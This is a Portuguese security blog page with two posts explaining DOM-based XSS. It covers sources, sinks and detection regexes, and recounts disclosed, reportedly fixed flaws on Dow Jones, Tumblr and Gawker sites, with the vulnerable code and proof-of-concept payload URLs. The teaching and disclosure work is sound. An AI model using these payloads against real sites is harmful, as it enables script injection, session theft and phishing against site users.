Todos os posts tagados dom xss

DOM XSS – Parte 2

mashable_xss

Após a introdução ao DOM XSS – Parte 1[1], vou demonstrar três exemplos práticos que descobri nos últimos tempos.
É importante salientar que todos estes exemplos foram corrigidos por parte das entidades visadas neste artigo.

Dowjones.com [fonte: document.referrer]

A Dow Jones é uma das mais importantes editoras financeiras internacionais, situada nos Estados Unidos.
Em janeiro do ano passado, eu encontrei algumas falhas de segurança no script Eloqua, agora propriedade da Oracle. Após inúmeras tentativas de contato, decidi verificar quais os sites que corriam este script.

O primeiro que encontrei foi o DowJones.com.

Vejamos o código:

if (document.referrer)
	{
	elqRef2 = document.referrer;
	}
if (navigator.appName == 'Netscape' || navigator.userAgent.indexOf("Opera")!=-1)
	{
	document.write('<la' + 'yer hidden=true><im' + 'g src="' + elqCurE + '?pps=3&siteid=' + elqSiteID + '&ref2=' + elqRef2 + '&tzo=' + elqTzo + '&ms=' + elqMs + '" border=0 width=1 height=1 ><\/la' + 'yer>');
	}
else
	{
	document.write('<im' + 'g style="display:none" src="' + elqCurE + '?pps=3&siteid=' + elqSiteID + '&ref2=' + elqRef2 + '&tzo=' + elqTzo + '&ms=' + elqMs + '" border=0 width=1 height=1 >');
	}

Como podemos verificar, a variável elqRef2 fica com o valor do document.referrer sem qualquer filtro. Ou seja, podemos injetar código HTML nesta propriedade que ele vai escrever no browser (via document.write) sem qualquer bloqueio.

Dado que a maioria dos browsers atuais filtram determinados caracteres no referrer, apenas é explorável no Internet Explorer[2].
Com esta situação, podemos considerar dois vetores a explorar.

1. Criar o link manipulado numa página isco:

http://site-qualquer-que-nao-existe.pt/?"><img src=x onerror=prompt(1);><!--

O site-qualquer-que-nao-existe.pt vai ter o link para o dowjones.com. Quando alguém clicar no link, irá ser encaminhado para o dowjones.com e o vetor DOM XSS irá ser executado no browser da vítima.

2. A vítima já tem o vetor no link

http://www.dowjones.com/?"><h1>XSS</h1><!--

Ou ofuscado

http://www.dowjones.com/%3F%22%3E%3Ch1%3EXSS%3C%2Fh1%3E%3C!--

Quando a vítima, clica noutra página interna do site, o código arbitrário do vetor DOM XSS é executado.

downjones

Tumblr [fonte: location.hash]

Tumblr é uma plataforma de blogging da Yahoo! que tem milhões e milhões de utilizadores.
Tudo começou quando no Google Inspector, reparei que havia um pedido num IFRAME com a variável name:

http://assets.tumblr.com/assets/html/iframe/o.html?_v=0e885d75acad691664be152f8a0af5b0#src=http%3A%2F%2Fstatus.soundcloud.com%2Fpost%2F55089207412%2Fmaintenance-tomorrow-morning&pid=55089207412&rk=Obe5imR3&lang=en_US&name=soundcloudstatus&avatar=http%3A%2F%2F24.media.tumblr.com%2Favatar_d06f17cd8eb4_64.png&title=SoundCloud+Status&url=http%3A%2F%2Fstatus.soundcloud.com%2F&page_slide=slide

Este IFRAME era carregado no ficheiro http://assets.tumblr.com/assets/scripts/tumblelog_iframe.js.
Achei curioso procurar no código onde era validado o parametro name, até que me deparei com o seguinte código:

if (v) {
v.innerHTML = decodeURIComponent(e.get.name)
}
document.getElementById("name").innerHTML = r;
document.getElementById("title").innerHTML = decodeURIComponent(x).replace(/\+/g, " ");

Os campos name e title encontram-se inseguros e podemos injetar código em qualquer um deles.

http://assets.tumblr.com/assets/html/iframe/o.html?_v=0e885d75acad691664be152f8a0af5b0#src=http%3A%2F%2Fstatus.soundcloud.com%2Fpost%2F55089207412%2Fmaintenance-tomorrow-morning&pid=55089207412&rk=Obe5imR3&lang=en_US&name=soundcloudstatus%3Cimg%20src=x%20onerror=prompt%281%29;%3E&avatar=http%3A%2F%2F24.media.tumblr.com%2Favatar_d06f17cd8eb4_64.png&title=SoundCloud+Status&url=http%3A%2F%2Fstatus.soundcloud.com%2F&page_slide=slide

tumblr_xss

Embora o Tumblr tenha corrigido esta falha, demorou cerca de 2 meses para fazê-lo e não recebi qualquer tipo de feedback por parte da equipa técnica.

Lifehacker e Gizmodo [fonte: location.hash]

Da mesma forma que analisei no Tumblr, o Google Inspector pode ser o nosso melhor amigo.
Um pedido HTTP no Gizmodo ao ficheiro ad_iframe.html chamou-me particularmente a atenção. No seu código-fonte verifiquei o seguinte:

var location_parts = window.location.hash.substring(1).split('|');
var rand = location_parts[0];
var scriptsrc = decodeURIComponent(location_parts[1]);
document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");

Como podemos verificar, a variável scriptsrc é preenchida com o valor do location.hash que por sua vez não é filtrada corretamente. Como existe um split com o carater pipe, necessitamos de associar o mesmo ao vetor DOM XSS.

http://gizmodo.com/assets/ad_iframe.html#|'></script><script>alert("xss by @dsopas");</script><div x='

Ou se preferirem, ofuscado:

http://gizmodo.com/assets/ad_iframe.html#|'>%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%78%73%73%20%62%79%20%40%64%73%6F%70%61%73%22%29%3B%3C%2F%73%63%72%69%70%74%3E%3C%64%69%76%20%78%3D%27

gizmodo_xss

Mais tarde vi a descobrir que toda a rede de sites Gawker era afetada.

http://gawker.com/assets/ad_iframe.html
http://gizmodo.com/assets/ad_iframe.html
http://lifehacker.com/assets/ad_iframe.html
http://deadspin.com/assets/ad_iframe.html
http://io9.com/assets/ad_iframe.html
http://jalopnik.com/assets/ad_iframe.html
http://jezebel.com/assets/ad_iframe.html
http://kotaku.com/assets/ad_iframe.html

Em menos de 2 horas a equipa técnica resolveu esta situação.

Espero que com estes três exemplos em sites bem populares, tenha demonstrado a importância de verificar o código Javascript nas aplicações web.

Para terminar gostaria de referir que a empresa de segurança Acunetix, no seu artigo The Chronicles of DOM-based XSS[3], mencionou algumas destas e outras falhas.

Na parte 3 irei utilizar uma ferramenta que auxilia a pesquisa por DOM XSS duma forma mais rápida e precisa.

Até lá!

Referências:
[1] http://www.websegura.net/dom-xss-parte-1/
[2] http://blog.mindedsecurity.com/2011/03/abusing-referrer-on-explorer-for.html
[3] http://www.acunetix.com/blog/articles/chronicles-dom-based-xss/

DOM XSS – Parte 1

dom_xss

Nesta primeira parte, num total de três, vou explicar o funcionamento do DOM XSS e demonstrar como encontrar falhas nesta variante do XSS – um tipo de ataque muito utilizado/comum hoje em dia para roubo de sessões, phishing e propagação de malware utilizando o XSS Persistente [mais perigoso que o XSS Refletido, pois o XSS Persistente fica armazenado na aplicação web].

Vou também fornecer referências e vídeos que ajudam a complementar este artigo.

Tive conhecimento do DOM XSS[1] há alguns anos, altura em que li o livro XSS Attacks: Cross Site Scripting Exploits and Defense de Seth Fogie[2], com a participação do Robert ‘RSnake’ Hansen[3]. Foi exatamente no site – ha.ckers.org – do RSnake que despertei o interesse pelo XSS.

O DOM XSS tem sido bastante popular na segurança informática, muito devido às recompensas nos programas de divulgação responsável de vulnerabilidades de diversas empresas [Google, Yahoo!, PayPal, etc]. Quem sabe se, com esta leitura, poderá ser uma oportunidade para o leitor ganhar uns trocados :-)
Essa popularidade também é originada pelo aumento da utilização de JavaScript [e por sua vez, AJAX] nas aplicações web [sites]. Ataques XSS baseados no DOM ainda são muito comuns encontrar nas aplicações web, muito por causa da complexidade de analisar códigos JavaScript [situação agravada quando o código está comprimido ou ofuscado].

Mas afinal o que é o DOM XSS?
DOM XSS é um ataque XSS[5] onde a ação nociva é executada como resultado de uma modificação no DOM [Document Object Model] do browser da vítima, presente num script do lado do cliente. Isto significa que, a resposta HTTP não é modificada mas o código do lado do cliente é executado de uma forma “diferente” [ou maliciosa] do habitual.
Ao contrário de outros ataques XSS, o DOM XSS opera do lado do cliente [client-side] e não no lado do servidor [server-side].
Por outras palavras, geralmente, uma aplicação web contém códigos em JavaScript que gerem o input do utilizador no HTML. Estes códigos controlam a aplicação web através do DOM. Uma injeção de código arbitrário no DOM é intitulado de DOM XSS.

Dependendo do tipo de vulnerabilidade, um utilizador malicioso pode utilizar ataques DOM XSS para roubo de dados de autenticação, phishing e até mesmo para propagar malware. Como os ataques DOM XSS são executados no browser da vítima, monitorizar este tipo de atividade pode ser uma tarefa difícil. Digo isto porque em determinados casos, o vector de ataque DOM XSS não passa sequer pelo servidor. Se a ação nociva estiver inserida num identificador hash (após o caracter #), os browsers não enviam essa parte do URL para os servidores.
Esta situação não ocorre apenas nos identificadores hash mas também em algumas novas funcionalidades HTML5, como o LocalStorage e o IndexedDB.
Tome como exemplo o seguinte código JavaScript numa página index.html:

var foobar = location.hash;
document.write(foobar);

domxss_1

Se aceder ao endereço com o browser Mozilla Firefox [Google Chrome bloqueia algumas tentativas de XSS – mas não todas :-)]:

http://site-que-nao-existe.pt/index.html

Não vai surgir nada no ecrã. No entanto se colocar:

http://site-que-nao-existe.pt/index.html#1234

Irá surgir no ecrã #1234 [valor da propriedade hash do objeto location].
Dado que não existe qualquer tipo de validação do input do utilizador, é possível injetar código HTML.
Testamos então injetar no location.hash o seguinte:

#1234<img src=x onerror=prompt(1);>

domxss_2

Acabou de explorar uma falha DOM XSS.
Convém referir que nem todas as falhas DOM XSS são fáceis de detetar. Na maioria dos casos, é necessário ter um conhecimento mais avançado da linguagem Javascript.

Mas existem formas mais automáticas para analisar este tipo de falha.
Poderá programar a sua própria ferramenta, utilizando as expressões regulares disponibilizadas pelo DOM XSS Wiki[4]:

Detetar fontes [é a origem do conteúdo, ou seja, donde vem a informação – por exemplo: document.URL]:

/(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?|showModalDialog|cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|
content|self|frames)\W)|(localStorage|sessionStorage|Database)/

Detetar sinks [funções de JavaScript que poderão permitir executar strings como JavaScript]:

/((src|href|data|location|code|value|action)\s*["'\]]*\s*\+?\s*=)|((replace|assign|navigate|getResponseHeader|open(Dialog)?|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\s*["'\]]*\s*\()/

Caso contrário, já existem muitas ferramentas que auxiliam na pesquisa por DOM XSS:

No artigo DOM XSS – Parte 3 irei focar-me numa destas ferramentas, com exemplos práticos e dicas de utilização.

Como um vídeo vale mais do 1,8 milhões palavras, penso que é importante salientar estas duas apresentações em vídeo porque demonstram muito bem, pela voz de dois grandes especialistas, o que é o DOM XSS.

In the DOM – No one will hear you scream By Mario Heiderich

Sapo CodeBits V – Stefano di Paola

Como corrigir?
São imensos os casos que podem ocorrer para corrigir falhas DOM XSS. Passa sempre por filtrar [um bom lema para os programadores web – encode and sanitize] todos os parâmetros possíveis de modificação por parte de um utilizador.
A OWASP[6] tem uma página[7] dedicada exclusivamente à prevenção de falhas DOM XSS. Essa página explora vários tipos de cenários e contribui bastante para uma boa regra de etiqueta na programação de aplicações web.

Na segunda parte deste artigo, irei fornecer 3 exemplos de casos reais que irão ajudar o leitor a entender melhor esta matéria.

Até lá!

Referências:
[1] https://www.owasp.org/index.php/DOM_Based_XSS
[2] http://www.amazon.com/XSS-Attacks-Scripting-Exploits-Defense/dp/1597491543
[3] http://www.websegura.net/entrevista-com-robert-hansen/
[4] https://code.google.com/p/domxsswiki/
[5] https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
[6] http://www.owasp.org
[7] https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet